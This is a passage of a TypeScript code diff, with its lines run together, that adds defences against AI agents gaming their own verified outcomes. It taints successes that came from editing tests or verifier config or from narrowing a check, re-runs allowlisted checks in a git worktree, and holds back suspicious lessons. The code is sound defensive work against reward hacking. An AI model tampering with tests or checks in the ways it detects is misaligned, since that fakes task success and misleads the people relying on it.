/dev/null+++ b/v3/@claude-flow/cli/__tests__/verified-reverify-runner.test.ts@@ -0,0 +1,108 @@+/**+ * ADR-503 §2.3 — the real re-verify runner (`gitWorktreeRunner`), against a tiny temporary git repo.+ *+ * The session-layer tests (mods-learning-loop-defences.test.ts) inject a fake runner; this file runs the code that+ * actually starts project code: a detached worktree at HEAD, `npm run <script>` with no shell, the process-group kill+ * at the timeout, and the worktree removal. After every run only the main worktree is left and the+ * `ruflo-reverify-*` temp dir is gone; after a timeout the hung check's process is dead.+ */+import { execFileSync } from 'node:child_process';+import { existsSync, mkdtempSync, readdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';+import { tmpdir } from 'node:os';+import { join } from 'node:path';+import { afterAll, beforeAll, describe, expect, it } from 'vitest';++import { gitWorktreeRunner, type ReverifyCheck } from '../src/memory/verified-reverify.js';++const npm = (name: string): ReverifyCheck => ({ name: `npm:${name}`, kind: 'test', argv: ['npm', 'run', name] });+const reverifyDirs = () => new Set(readdirSync(tmpdir()).filter((d) => d.startsWith('ruflo-reverify-')));+const alive = (pid: number) => {+ try {+ process.kill(pid, 0);+ return true;+ } catch {+ return false;+ }+};++describe.skipIf(process.platform === 'win32')('gitWorktreeRunner (real git worktree, real process)', () => {+ let repo: string;+ let pidFile: string;+ let head: string;+ const git = (...args: string[]) => execFileSync('git', args, { cwd: repo, encoding: 'utf8' }).trim();++ beforeAll(() => {+ repo = mkdtempSync(join(tmpdir(), 'reverify-repo-'));+ pidFile = join(repo, '..', `${repo.split('/').at(-1)}.pid`);+ writeFileSync(+ join(repo, 'package.json'),+ JSON.stringify({+ name: 'reverify-fixture',+ private: true,+ scripts: {+ test: 'node -e "process.exit(0)"',+ lint: 'node -e "process.exit(1)"',+ // Writes its own pid where the test can read it after the worktree is gone, then hangs.+ build: 'node -e "require(\'fs\').writeFileSync(process.env.REVERIFY_PID_FILE, String(process.pid)); setInterval(() => {}, 1000)"',+ },+ }),+ );+ git('init', '-q');+ git('add', 'package.json');+ git('-c', '[email protected]', '-c', 'user.name=t', '-c', 'commit.gpgsign=false', 'commit', '-q', '-m', 'fixture');+ head = git('rev-parse', 'HEAD');+ process.env.REVERIFY_PID_FILE = pidFile;+ });++ afterAll(() => {+ delete process.env.REVERIFY_PID_FILE;+ rmSync(repo, { recursive: true, force: true });+ rmSync(pidFile, { force: true });+ });++ /** Runs one check and asserts the cleanup contract: one worktree left, no new temp dir. */+ async function run(check: ReverifyCheck, timeoutMs: number) {+ const before = reverifyDirs();+ const outcome = await gitWorktreeRunner(repo, check, timeoutMs);+ expect(git('worktree', 'list', '--porcelain').split('\n').filter((l) => l.startsWith('worktree '))).toHaveLength(1);+ expect([...reverifyDirs()].filter((d) => !before.has(d))).toEqual([]);+ return outcome;+ }++ it('passes on exit 0 and records the commit it ran at', async () => {+ expect(await run(npm('test'), 30_000)).toEqual({ status: 'pass', commit: head });+ }, 40_000);++ it('fails on a non-zero exit', async () => {+ expect(await run(npm('lint'), 30_000)).toEqual({ status: 'fail', commit: head });+ }, 40_000);++ it('a missing script is a failure, not a pass', async () => {+ expect((await run(npm('typecheck'), 30_000)).status).toBe('fail');+ }, 40_000);++ it('times out a hung check and kills its whole process group', async () => {+ rmSync(pidFile, { force: true });+ const started = Date.now();+ // Long enough for npm to start the script and write its pid; short enough to keep the suite fast.+ expect(await run(npm('build'), 8_000)).toEqual({ status: 'timeout', commit: head });+ expect(Date.now() - started).toBeLessThan(20_000);+ expect(existsSync(pidFile)).toBe(true);+ const pid = Number(readFileSync(pidFile, 'utf8'));+ expect(pid).toBeGreaterThan(0);+ let tries = 0;+ while (alive(pid) && tries++ < 50) await new Promise((r) => setTimeout(r, 20));+ expect(alive(pid)).toBe(false);+ }, 40_000);++ it('a directory that is not a git repo is an error, and leaves no temp dir behind', async () => {+ const plain = mkdtempSync(join(tmpdir(), 'reverify-plain-'));+ try {+ const before = reverifyDirs();+ expect(await gitWorktreeRunner(plain, npm('test'), 5_000)).toEqual({ status: 'error', commit: null });+ expect([...reverifyDirs()].filter((d) => !before.has(d))).toEqual([]);+ } finally {+ rmSync(plain, { recursive: true, force: true });+ }+ });+});diff --git a/v3/@claude-flow/cli/src/commands/hooks.ts b/v3/@claude-flow/cli/src/commands/hooks.tsindex deae333d28..f02795eae4 100644--- a/v3/@claude-flow/cli/src/commands/hooks.ts+++ b/v3/@claude-flow/cli/src/commands/hooks.ts@@ -5503,9 +5503,11 @@ const verifiedIngestCommand: Command = {action: async (ctx: CommandContext): Promise<CommandResult> => {try {const result = await callMCPTool<{- ingested: { verifiedSuccess: number; verifiedFailure: number; unknown: number; rejected: number };+ ingested: { verifiedSuccess: number; verifiedFailure: number; unknown: number; rejected: number; tainted?: number };skipped: string | null; lessons: number; cautions: number; belowGate: number; sonaAvailable: boolean;- totals: { verifiedSuccess: number; verifiedFailure: number; unknown: number };+ held?: Array<{ id: string; reason: string }>;+ reverify?: { enabled: boolean; ran: number; passed: number; downgraded: number; deferred: number };+ totals: { verifiedSuccess: number; verifiedFailure: number; unknown: number; tainted?: number };}>('hooks_intelligence_verified-ingest', { dryRun: ctx.flags['dry-run'] === true || ctx.flags.dryRun === true, force: ctx.flags.force === true });if (ctx.flags.format === 'json') {output.printJson(result);@@ -5517,9 +5519,13 @@ const verifiedIngestCommand: Command = {}if (!result.sonaAvailable) output.printWarning('SONA unavailable: verified outcomes wait for the next ingest');const i = result.ingested;- output.printSuccess(`Ingested ${i.verifiedSuccess} verified success, ${i.verifiedFailure} verified failure; ${i.unknown} unverified (not trained), ${i.rejected} malformed${result.skipped === 'unchanged' ? ' (file unchanged)' : ''}`);+ output.printSuccess(`Ingested ${i.verifiedSuccess} verified success, ${i.verifiedFailure} verified failure; ${i.unknown} unverified (not trained), ${i.tainted ?? 0} tainted (not trained), ${i.rejected} malformed${result.skipped === 'unchanged' ? ' (file unchanged)' : ''}`);output.writeln(`Lessons at or above the 0.6 gate: ${result.lessons}; cautions: ${result.cautions}; verified patterns below the gate: ${result.belowGate}`);- output.writeln(output.dim(`All time: ${result.totals.verifiedSuccess} success / ${result.totals.verifiedFailure} failure trained, ${result.totals.unknown} unverified`));+ // ADR-503 §2.4: patterns the anomaly gate kept out of the prompt (they stay in SONA).+ for (const h of result.held ?? []) output.writeln(`held: ${h.id} (${h.reason})`);+ const rv = result.reverify;+ if (rv?.enabled) output.writeln(`Re-verify: ${rv.ran} check(s) run, ${rv.passed} passed, ${rv.downgraded} downgraded to unverified${rv.deferred ? `, ${rv.deferred} waiting` : ''}`);+ output.writeln(output.dim(`All time: ${result.totals.verifiedSuccess} success / ${result.totals.verifiedFailure} failure trained, ${result.totals.unknown} unverified, ${result.totals.tainted ?? 0} tainted`));return { success: true, data: result };} catch (error) {output.printError(`verified-ingest failed: ${error instanceof Error ? error.message : String(error)}`);diff --git a/v3/@claude-flow/cli/src/mcp-tools/hooks-tools.ts b/v3/@claude-flow/cli/src/mcp-tools/hooks-tools.tsindex 4a9825006c..b258059f42 100644--- a/v3/@claude-flow/cli/src/mcp-tools/hooks-tools.ts+++ b/v3/@claude-flow/cli/src/mcp-tools/hooks-tools.ts@@ -5776,7 +5776,8 @@ export const hooksVerifiedIngest: MCPTool = {handler: async (params: Record<string, unknown>) => {const { ingestVerifiedOutcomes } = await import('../memory/verified-outcomes.js');const sona = await getSONAOptimizer();- const result = await ingestVerifiedOutcomes({ dryRun: params.dryRun === true, force: params.force === true || params.dryRun === true, sona: sona as never });+ // ADR-503 §2.3: only this explicit ingest may re-verify (run project code), and only when learningLoop.reverify is on.+ const result = await ingestVerifiedOutcomes({ dryRun: params.dryRun === true, force: params.force === true || params.dryRun === true, sona: sona as never, allowReverify: true });return { success: true, ...result };},};diff --git a/v3/@claude-flow/cli/src/memory/verified-guards.ts b/v3/@claude-flow/cli/src/memory/verified-guards.tsnew file mode 100644index 0000000000..1874b0cc95--- /dev/null+++ b/v3/@claude-flow/cli/src/memory/verified-guards.ts@@ -0,0 +1,127 @@+/**+ * Gaming defences for the verified-outcome learning loop (ADR-503).+ *+ * Every rule here can only downgrade: a tainted record does not train, a+ * pattern that looks gamed is held back from the prompt. Nothing here can+ * turn an `unknown` into a verified outcome.+ *+ * - §2.1/§2.2 taints: the mod marks a `verified-success` whose turn edited a+ * test file or a verifier config, or narrowed its check. Ingest never+ * trains a tainted record unless `.claude-flow/config.json`+ * `learningLoop.allowTaint` lists every one of its classes.+ * - §2.3 re-verify settings (the runner lives in verified-reverify.ts).+ * - §2.4 the anomaly gate on lessons.+ */++import { existsSync, readFileSync } from 'node:fs';+import { join } from 'node:path';++export type Taint = 'edited-tests' | 'edited-verifier-config' | 'narrowed-verifier';+export const TAINTS: readonly Taint[] = ['edited-tests', 'edited-verifier-config', 'narrowed-verifier'];++/** A record's `taint` field, validated: known classes only, each once. Anything else is dropped. */+export function parseTaint(raw: unknown): Taint[] {+ if (!Array.isArray(raw)) return [];+ const out: Taint[] = [];+ for (const t of raw.slice(0, 8)) if (TAINTS.includes(t as Taint) && !out.includes(t as Taint)) out.push(t as Taint);+ return out;+}++export interface LoopConfig {+ /** Taint classes a project lets train (default none). */+ readonly allowTaint: readonly Taint[];+ /** Re-run a verifier at HEAD before a success trains (default off: it runs project code). */+ readonly reverify: boolean;+ readonly reverifyTimeoutMs: number;+}++export const DEFAULT_REVERIFY_TIMEOUT_MS = 300_000;+export const DEFAULT_LOOP_CONFIG: LoopConfig = { allowTaint: [], reverify: false, reverifyTimeoutMs: DEFAULT_REVERIFY_TIMEOUT_MS };++/**+ * `learningLoop` from `.claude-flow/config.json`. A missing, unreadable or+ * malformed file means the defaults: no taint allowed, re-verify off. Only+ * `reverify: true` (the boolean) turns re-verification on.+ */+export function readLoopConfig(root: string): LoopConfig {+ const path = join(root, '.claude-flow', 'config.json');+ try {+ if (!existsSync(path)) return DEFAULT_LOOP_CONFIG;+ const raw = JSON.parse(readFileSync(path, 'utf8')) as { learningLoop?: unknown };+ return parseLoopConfig(raw?.learningLoop);+ } catch {+ return DEFAULT_LOOP_CONFIG;+ }+}++export function parseLoopConfig(raw: unknown): LoopConfig {+ if (!raw || typeof raw !== 'object' || Array.isArray(raw)) return DEFAULT_LOOP_CONFIG;+ const r = raw as { allowTaint?: unknown; reverify?: unknown; reverifyTimeoutSec?: unknown };+ const sec = typeof r.reverifyTimeoutSec === 'number' && Number.isFinite(r.reverifyTimeoutSec) ? Math.min(Math.max(Math.floor(r.reverifyTimeoutSec), 10), 3600) : DEFAULT_REVERIFY_TIMEOUT_MS / 1000;+ return { allowTaint: parseTaint(r.allowTaint), reverify: r.reverify === true, reverifyTimeoutMs: sec * 1000 };+}++/** The taint classes of a record that its project did not allow; non-empty means it never trains. */+export const blockedTaints = (taint: readonly Taint[], config: LoopConfig): Taint[] => taint.filter(t => !config.allowTaint.includes(t));++/**+ * What ingest knows about a verified pattern, from verified records only+ * (SONA's own counts include other feeders). Sessions are capped: the gate+ * only asks whether there were two.+ */+export interface PatternStats {+ successes: number;+ failures: number;+ /** Successes that carried an allowed taint. */+ tainted: number;+ /** Successes decided by a narrowed command. */+ narrowed: number;+ sessions: string[];+}++export const MAX_PATTERN_SESSIONS = 4;+const SESSION = /^[A-Za-z0-9_-]{1,40}$/;+const count = (v: unknown) => (typeof v === 'number' && Number.isFinite(v) && v >= 0 ? Math.min(Math.floor(v), 1_000_000) : 0);++export const emptyStats = (): PatternStats => ({ successes: 0, failures: 0, tainted: 0, narrowed: 0, sessions: [] });++export function parseStats(raw: unknown): PatternStats {+ const r = (raw && typeof raw === 'object' ? raw : {}) as Record<string, unknown>;+ const sessions = Array.isArray(r.sessions) ? [...new Set(r.sessions.filter((s): s is string => typeof s === 'string' && SESSION.test(s)))].slice(0, MAX_PATTERN_SESSIONS) : [];+ return { successes: count(r.successes), failures: count(r.failures), tainted: count(r.tainted), narrowed: count(r.narrowed), sessions };+}++/** Folds one trained record into its pattern's stats. */+export function addOutcome(stats: PatternStats, success: boolean, taint: readonly Taint[], session: string | null): void {+ if (!success) {+ stats.failures++;+ return;+ }+ stats.successes++;+ if (taint.length > 0) stats.tainted++;+ if (taint.includes('narrowed-verifier')) stats.narrowed++;+ if (session && SESSION.test(session) && !stats.sessions.includes(session) && stats.sessions.length < MAX_PATTERN_SESSIONS) stats.sessions.push(session);+}++export type HoldReason = 'perfect-and-tainted' | 'only-narrowed' | 'one-session';++/** §2.4 case 1: records at or above which a perfect record with half its successes tainted is held. */+export const PERFECT_MIN_RECORDS = 8;++/**+ * Why a would-be lesson is held back from the prompt (ADR-503 §2.4), or null.+ * A held pattern stays in SONA; it only never becomes a prompt lesson.+ *+ * 1. 100% success over 8 or more records, half or more of them tainted (allowed).+ * 2. Every success came from a narrowed command.+ * 3. Every success came from one session: no independent repetition. A pattern+ * with no recorded sessions (a record from before ADR-503, or one without a+ * session) counts as one session.+ */+export function holdReason(stats: PatternStats, sonaSuccesses: number): HoldReason | null {+ const s = stats.successes;+ if (s >= PERFECT_MIN_RECORDS && stats.failures === 0 && stats.tainted * 2 >= s) return 'perfect-and-tainted';+ if (s > 0 && stats.narrowed === s) return 'only-narrowed';+ if ((s > 0 || sonaSuccesses > 0) && stats.sessions.length < 2) return 'one-session';+ return null;+}diff --git a/v3/@claude-flow/cli/src/memory/verified-outcomes.ts b/v3/@claude-flow/cli/src/memory/verified-outcomes.tsindex 3210a362a0..cb24b2e873 100644--- a/v3/@claude-flow/cli/src/memory/verified-outcomes.ts+++ b/v3/@claude-flow/cli/src/memory/verified-outcomes.ts@@ -19,12 +19,21 @@* verified outcomes produced, those at or above the SONA routing gate as* lessons, and repeated verified failures as cautions. The mod reads that* file and adds at most three cited lessons to a prompt.+ *+ * ADR-503 hardens it against gamed signals (verified-guards.ts,+ * verified-reverify.ts): a tainted success does not train unless the project+ * allows its taint class, an opt-in re-verify can downgrade a success before+ * it trains, and an anomaly gate holds suspicious patterns back from the+ * prompt. Every one of these can only downgrade.*/import { createHash } from 'node:crypto';import { existsSync, mkdirSync, readFileSync, renameSync, statSync, writeFileSync } from 'node:fs';import { dirname, join } from 'node:path';+import { addOutcome, blockedTaints, emptyStats, holdReason, parseStats, parseTaint, readLoopConfig, type HoldReason, type LoopConfig, type PatternStats, type Taint } from './verified-guards.js';+import { gitWorktreeRunner, ReverifySession, type ReverifyRunner } from './verified-reverify.js';+export const VERIFIED_PATH = join('.claude-flow', 'data', 'verified-trajectories.jsonl');export const LEDGER_PATH = join('.claude-flow', 'data', 'verified-ingest.json');export const LESSONS_PATH = join('.claude-flow', 'data', 'learned-lessons.json');@@ -50,6 +59,10 @@ export interface VerifiedRecord {readonly verifier: { readonly kind: VerifierKind; readonly command: string; readonly passed: boolean } | null;readonly steps: ReadonlyArray<{ readonly tool: string; readonly ok: boolean }>;readonly edits: number;+ /** ADR-503 §2.1: what the turn did to its own check; only a `verified-success` carries any. */+ readonly taint: readonly Taint[];+ /** The mod process that recorded it, when the mod wrote one (ADR-503 §2.4). */+ readonly session: string | null;readonly startedAt: number;readonly endedAt: number;}@@ -59,11 +72,26 @@ export interface IngestLedger {ids: string[];/** mtime of the jsonl at the last ingest, so a caller can skip an unchanged file cheaply. */lastMtimeMs: number;- totals: { verifiedSuccess: number; verifiedFailure: number; unknown: number; rejected: number };- /** Pattern keys verified outcomes trained, with the last verifier command that decided them (the lesson's evidence). */- patterns: Record<string, { evidence: string; at: number }>;+ totals: { verifiedSuccess: number; verifiedFailure: number; unknown: number; rejected: number; tainted: number };+ /**+ * Pattern keys verified outcomes trained, with the last verifier command that decided them (the lesson's evidence)+ * and what the anomaly gate needs (ADR-503 §2.4).+ */+ patterns: Record<string, { evidence: string; at: number; stats: PatternStats }>;+ /** ADR-503 §2.3: the rotation cursor and the latest re-verifications (which commit, which check, what happened). */+ reverify: { cursor: number; log: ReverifyLogEntry[] };+}++export interface ReverifyLogEntry {+ readonly id: string;+ readonly check: string | null;+ readonly commit: string | null;+ readonly status: 'pass' | 'fail' | 'timeout' | 'error';+ readonly at: number;}+export const MAX_REVERIFY_LOG = 50;+export interface Lesson {readonly id: string;readonly kind: 'lesson' | 'caution';@@ -82,15 +110,24 @@ export interface LessonsFile {lessons: Lesson[];/** Verified patterns still below the gate, for the cold-start progress line. */belowGate: number;+ /** Patterns at or above the gate that the anomaly gate kept out of the prompt (ADR-503 §2.4). */+ held: Array<{ id: string; reason: HoldReason }>;}export interface IngestResult {- ingested: { verifiedSuccess: number; verifiedFailure: number; unknown: number; rejected: number };+ /** `tainted`: successes whose taint the project did not allow, counted and never trained (ADR-503 §2.2). */+ ingested: { verifiedSuccess: number; verifiedFailure: number; unknown: number; rejected: number; tainted: number };trained: number;skipped: 'no-file' | 'unchanged' | 'too-large' | null;lessons: number;cautions: number;belowGate: number;+ held: LessonsFile['held'];+ /**+ * ADR-503 §2.3: checks run, successes that passed or were downgraded to unknown, and successes left for an explicit+ * ingest because this caller may not run project code.+ */+ reverify: { enabled: boolean; ran: number; passed: number; downgraded: number; deferred: number };totals: IngestLedger['totals'];sonaAvailable: boolean;}@@ -154,11 +191,14 @@ export function parseRecord(line: string): VerifiedRecord | null {.map(s => ({ tool: s.tool, ok: s.ok === true })): [];- return { id: r.id, task, agent, outcome, verifier, steps, edits: num(r.edits, 10_000), startedAt: num(r.startedAt), endedAt: num(r.endedAt) };+ const taint = outcome === 'verified-success' ? parseTaint(r.taint) : [];+ const session = typeof r.session === 'string' && /^[A-Za-z0-9_-]{1,40}$/.test(r.session) ? r.session : null;++ return { id: r.id, task, agent, outcome, verifier, steps, edits: num(r.edits, 10_000), taint, session, startedAt: num(r.startedAt), endedAt: num(r.endedAt) };}export function emptyLedger(): IngestLedger {- return { version: 1, ids: [], lastMtimeMs: 0, totals: { verifiedSuccess: 0, verifiedFailure: 0, unknown: 0, rejected: 0 }, patterns: {} };+ return { version: 1, ids: [], lastMtimeMs: 0, totals: { verifiedSuccess: 0, verifiedFailure: 0, unknown: 0, rejected: 0, tainted: 0 }, patterns: {}, reverify: { cursor: 0, log: [] } };}/** A ledger file read back; a corrupt or hostile one starts over (re-ingest is bounded by the mod's 500-line cap). */@@ -171,14 +211,21 @@ export function readLedger(raw: string | null): IngestLedger {const patterns: IngestLedger['patterns'] = {};for (const [k, v] of Object.entries(j.patterns && typeof j.patterns === 'object' ? j.patterns : {})) {if (k === '__proto__' || typeof k !== 'string' || k.length > 400 || !v || typeof v !== 'object') continue;- patterns[k] = { evidence: text((v as { evidence?: unknown }).evidence, 80), at: num((v as { at?: unknown }).at) };+ patterns[k] = { evidence: text((v as { evidence?: unknown }).evidence, 80), at: num((v as { at?: unknown }).at), stats: parseStats((v as { stats?: unknown }).stats) };}+ const rv = (j.reverify && typeof j.reverify === 'object' ? j.reverify : {}) as { cursor?: unknown; log?: unknown };+ const STATUS = ['pass', 'fail', 'timeout', 'error'];+ const log: ReverifyLogEntry[] = (Array.isArray(rv.log) ? rv.log : [])+ .filter((e): e is Record<string, unknown> => !!e && typeof e === 'object' && typeof (e as { id?: unknown }).id === 'string' && ID.test((e as { id: string }).id) && STATUS.includes((e as { status?: unknown }).status as string))+ .slice(-MAX_REVERIFY_LOG)+ .map(e => ({ id: e.id as string, check: typeof e.check === 'string' ? text(e.check, 40) : null, commit: typeof e.commit === 'string' && /^[0-9a-f]{40,64}$/.test(e.commit) ? e.commit : null, status: e.status as ReverifyLogEntry['status'], at: num(e.at) }));return {version: 1,ids: j.ids.filter((id): id is string => typeof id === 'string' && ID.test(id)).slice(-MAX_LEDGER_IDS),lastMtimeMs: num(j.lastMtimeMs),- totals: { verifiedSuccess: num(t.verifiedSuccess), verifiedFailure: num(t.verifiedFailure), unknown: num(t.unknown), rejected: num(t.rejected) },+ totals: { verifiedSuccess: num(t.verifiedSuccess), verifiedFailure: num(t.verifiedFailure), unknown: num(t.unknown), rejected: num(t.rejected), tainted: num(t.tainted) },patterns,+ reverify: { cursor: num(rv.cursor, 1_000_000_000), log },};} catch {return emptyLedger();@@ -201,9 +248,13 @@ const SAFE_KEYWORD = /^[a-z0-9][a-z0-9 _./-]{0,40}$/;/** A lesson's citation: a short hash of the SONA pattern key, so the key's own text never reaches a prompt. */export const lessonId = (patternKey: string) => `L-${createHash('sha256').update(patternKey).digest('hex').slice(0, 10)}`;-/** Builds the lessons file from SONA's patterns, keeping only the ones verified outcomes trained. */-export function buildLessons(patterns: ReturnType<SonaLike['exportPatterns']>, verified: IngestLedger['patterns'], now: number): LessonsFile {+/**+ * Builds the lessons file from SONA's patterns, keeping only the ones verified outcomes trained. A would-be lesson the+ * anomaly gate holds (ADR-503 §2.4) is listed under `held` instead: it stays in SONA, never in a prompt.+ */+export function buildLessons(patterns: ReturnType<SonaLike['exportPatterns']>, verified: Record<string, { evidence: string; at: number; stats?: PatternStats }>, now: number): LessonsFile {const lessons: Lesson[] = [];+ const held: LessonsFile['held'] = [];let belowGate = 0;for (const [id, p] of Object.entries(patterns)) {const v = verified[id];@@ -212,11 +263,15 @@ export function buildLessons(patterns: ReturnType<SonaLike['exportPatterns']>, vif (keywords.length === 0 || !AGENT.test(p.agent)) continue;const base = { id: lessonId(id), agent: p.agent, keywords, confidence: Math.round(p.confidence * 1000) / 1000, successes: p.successCount, failures: p.failureCount, evidence: v.evidence };if (p.failureCount >= CAUTION_MIN_FAILURES && p.failureCount > p.successCount) lessons.push({ ...base, kind: 'caution' });- else if (p.confidence >= LESSON_GATE) lessons.push({ ...base, kind: 'lesson' });- else belowGate++;+ else if (p.confidence >= LESSON_GATE) {+ const reason = holdReason(v.stats ?? emptyStats(), p.successCount);+ if (reason) held.push({ id: base.id, reason });+ else lessons.push({ ...base, kind: 'lesson' });+ } else belowGate++;}lessons.sort((a, b) => b.confidence - a.confidence || b.successes + b.failures - (a.successes + a.failures));- return { version: 1, gate: LESSON_GATE, generatedAt: now, lessons: lessons.slice(0, MAX_LESSONS), belowGate };+ held.sort((a, b) => a.id.localeCompare(b.id));+ return { version: 1, gate: LESSON_GATE, generatedAt: now, lessons: lessons.slice(0, MAX_LESSONS), belowGate, held: held.slice(0, MAX_LESSONS) };}function writeAtomic(path: string, body: string): void {@@ -236,6 +291,15 @@ export interface IngestOptions {/** SONA to train; defaults to the process's optimizer. Null means unavailable. */sona?: SonaLike | null;now?: number;+ /** `learningLoop` settings; defaults to `.claude-flow/config.json` under `root` (ADR-503). */+ config?: LoopConfig;+ /**+ * Whether this caller may run project code to re-verify (ADR-503 §2.3). Only an explicit ingest passes true; a hot+ * caller (hooks_route) leaves successes un-ingested when re-verify is on, instead of blocking for the timeout.+ */+ allowReverify?: boolean;+ /** Re-verify runner; defaults to the detached-git-worktree runner. Tests inject one. */+ reverifier?: ReverifyRunner;}/**@@ -249,11 +313,13 @@ export async function ingestVerifiedOutcomes(options: IngestOptions = {}): Promiconst root = options.root ?? process.cwd();const now = options.now ?? Date.now();const file = join(root, VERIFIED_PATH);+ const config = options.config ?? readLoopConfig(root);+ const reverify = { enabled: config.reverify, ran: 0, passed: 0, downgraded: 0, deferred: 0 };if (!options.force && !options.dryRun && options.sona !== null) {try {const memo = lastIngested.get(root);if (memo && memo.mtimeMs === statSync(file).mtimeMs) {- return { ingested: { verifiedSuccess: 0, verifiedFailure: 0, unknown: 0, rejected: 0 }, trained: 0, skipped: 'unchanged', lessons: 0, cautions: 0, belowGate: 0, totals: { ...memo.totals }, sonaAvailable: true };+ return { ingested: { verifiedSuccess: 0, verifiedFailure: 0, unknown: 0, rejected: 0, tainted: 0 }, trained: 0, skipped: 'unchanged', lessons: 0, cautions: 0, belowGate: 0, held: [], reverify, totals: { ...memo.totals }, sonaAvailable: true };}} catch {// no file: the full path below reports it@@ -261,7 +327,7 @@ export async function ingestVerifiedOutcomes(options: IngestOptions = {}): Promi}const ledgerPath = join(root, LEDGER_PATH);const ledger = readLedger(existsSync(ledgerPath) ? readFileSync(ledgerPath, 'utf8') : null);- const ingested = { verifiedSuccess: 0, verifiedFailure: 0, unknown: 0, rejected: 0 };+ const ingested = { verifiedSuccess: 0, verifiedFailure: 0, unknown: 0, rejected: 0, tainted: 0 };const done = (skipped: IngestResult['skipped'], sonaAvailable: boolean, lessons?: LessonsFile): IngestResult => ({ingested,trained: ingested.verifiedSuccess + ingested.verifiedFailure,@@ -269,6 +335,8 @@ export async function ingestVerifiedOutcomes(options: IngestOptions = {}): Promilessons: lessons?.lessons.filter(l => l.kind === 'lesson').length ?? 0,cautions: lessons?.lessons.filter(l => l.kind === 'caution').length ?? 0,belowGate: lessons?.belowGate ?? 0,+ held: lessons?.held ?? [],+ reverify,totals: ledger.totals,sonaAvailable,});@@ -288,6 +356,10 @@ export async function ingestVerifiedOutcomes(options: IngestOptions = {}): Promi}}+ // ADR-503 §2.3: one re-verify session per ingest; the cursor advances once, so checks rotate across ingests.+ const runReverify = config.reverify && !options.dryRun && options.allowReverify === true;+ const session = runReverify ? new ReverifySession(root, ledger.reverify.cursor, config.reverifyTimeoutMs, options.reverifier ?? gitWorktreeRunner) : null;+const seen = new Set(ledger.ids);for (const line of readFileSync(file, 'utf8').split('\n')) {if (!line.trim()) continue;@@ -299,18 +371,40 @@ export async function ingestVerifiedOutcomes(options: IngestOptions = {}): Promiif (seen.has(record.id)) continue;// Without SONA nothing verified can train yet: leave it un-ingested for the next call.if (record.outcome !== 'unknown' && !sona) continue;+ const success = record.outcome === 'verified-success';+ // ADR-503 §2.2: a success with a taint its project did not allow is counted and never trains.+ const tainted = success && blockedTaints(record.taint, config).length > 0;+ // ADR-503 §2.3: with re-verify on, a caller that may not run project code leaves a trainable success for later.+ if (success && !tainted && config.reverify && !options.dryRun && !runReverify) {+ reverify.deferred++;+ continue;+ }seen.add(record.id);ledger.ids.push(record.id);if (record.outcome === 'unknown') {ingested.unknown++;continue;}+ if (tainted) {+ ingested.tainted++;+ continue;+ }if (options.dryRun) {- if (record.outcome === 'verified-success') ingested.verifiedSuccess++;+ if (success) ingested.verifiedSuccess++;else ingested.verifiedFailure++;continue;}- const success = record.outcome === 'verified-success';+ if (success && session) {+ // Only the record's verifier KIND is used, to pick a different allowlisted check; its text never runs.+ const { check, outcome } = await session.verify(record.verifier!.kind);+ ledger.reverify.log.push({ id: record.id, check, commit: outcome.commit, status: outcome.status, at: now });+ if (outcome.status !== 'pass') {+ reverify.downgraded++;+ ingested.unknown++;+ continue;+ }+ reverify.passed++;+ }const result = sona!.processTrajectoryOutcome({trajectoryId: record.id,task: await redact(record.task),@@ -320,20 +414,32 @@ export async function ingestVerifiedOutcomes(options: IngestOptions = {}): Promiduration: record.endedAt > record.startedAt ? record.endedAt - record.startedAt : 0,feedback: `verified by ${record.verifier!.kind}: ${record.verifier!.command}`,});- if (result.learned && result.patternKey) ledger.patterns[result.patternKey] = { evidence: record.verifier!.command, at: now };+ if (result.learned && result.patternKey) {+ const entry = ledger.patterns[result.patternKey] ?? { evidence: '', at: now, stats: emptyStats() };+ entry.evidence = record.verifier!.command;+ entry.at = now;+ addOutcome(entry.stats, success, record.taint, record.session);+ ledger.patterns[result.patternKey] = entry;+ }if (success) ingested.verifiedSuccess++;else ingested.verifiedFailure++;}if (options.dryRun) return done(null, !!sona);+ if (session) {+ reverify.ran = session.ran;+ if (session.ran > 0) ledger.reverify.cursor = (ledger.reverify.cursor + 1) % 1_000_000_000;+ ledger.reverify.log = ledger.reverify.log.slice(-MAX_REVERIFY_LOG);+ }ledger.ids = ledger.ids.slice(-MAX_LEDGER_IDS);- // Without SONA, verified records stayed un-ingested: keep the mtime stale so the next call retries them.- if (sona) {+ for (const k of Object.keys(ingested) as Array<keyof typeof ingested>) ledger.totals[k] += ingested[k];+ // Without SONA, or with successes deferred for re-verify, records stayed un-ingested: keep the mtime stale so the+ // next call retries them.+ if (sona && reverify.deferred === 0) {ledger.lastMtimeMs = st.mtimeMs;lastIngested.set(root, { mtimeMs: st.mtimeMs, totals: { ...ledger.totals } });}- for (const k of Object.keys(ingested) as Array<keyof typeof ingested>) ledger.totals[k] += ingested[k];// Keep the verified-pattern map bounded to what SONA still holds.const patterns = sona ? sona.exportPatterns() : {};if (sona) for (const k of Object.keys(ledger.patterns)) if (!patterns[k]) delete ledger.patterns[k];@@ -363,7 +469,7 @@ export function learningLoopHealth(root = process.cwd()): { status: 'pass' | 'waconst records = lines.map(parseRecord).filter((r): r is VerifiedRecord => r !== null);const waiting = records.filter(r => !seen.has(r.id) && r.outcome !== 'unknown').length;const verified = records.filter(r => r.outcome !== 'unknown').length;- const summary = `${records.length} turn(s) recorded, ${verified} verified; trained so far ${ledger.totals.verifiedSuccess} success / ${ledger.totals.verifiedFailure} failure, ${ledger.totals.unknown} unknown (never trained)`;+ const summary = `${records.length} turn(s) recorded, ${verified} verified; trained so far ${ledger.totals.verifiedSuccess} success / ${ledger.totals.verifiedFailure} failure, ${ledger.totals.unknown} unknown, ${ledger.totals.tainted} tainted (never trained)`;if (waiting > 0) {return { status: 'warn', message: `${summary}; ${waiting} verified outcome(s) not yet ingested`, fix: 'ruflo hooks verified-ingest (or any hooks_route / hooks_session-end call ingests them)' };}diff --git a/v3/@claude-flow/cli/src/memory/verified-reverify.ts b/v3/@claude-flow/cli/src/memory/verified-reverify.tsnew file mode 100644index 0000000000..3db2b89a77--- /dev/null+++ b/v3/@claude-flow/cli/src/memory/verified-reverify.ts@@ -0,0 +1,189 @@+/**+ * Re-verify before training (ADR-503 §2.3). Opt-in: `.claude-flow/config.json`+ * `learningLoop.reverify: true`. Off by default because it runs project code.+ *+ * - The command comes only from a fixed allowlist built from the project's own+ * manifest (`package.json` scripts named test/typecheck/build/lint, or+ * `cargo test`/`cargo check` when `Cargo.toml` exists). A record's text is+ * never executed: it only selects, by its verifier *kind*, which allowlisted+ * check NOT to run.+ * 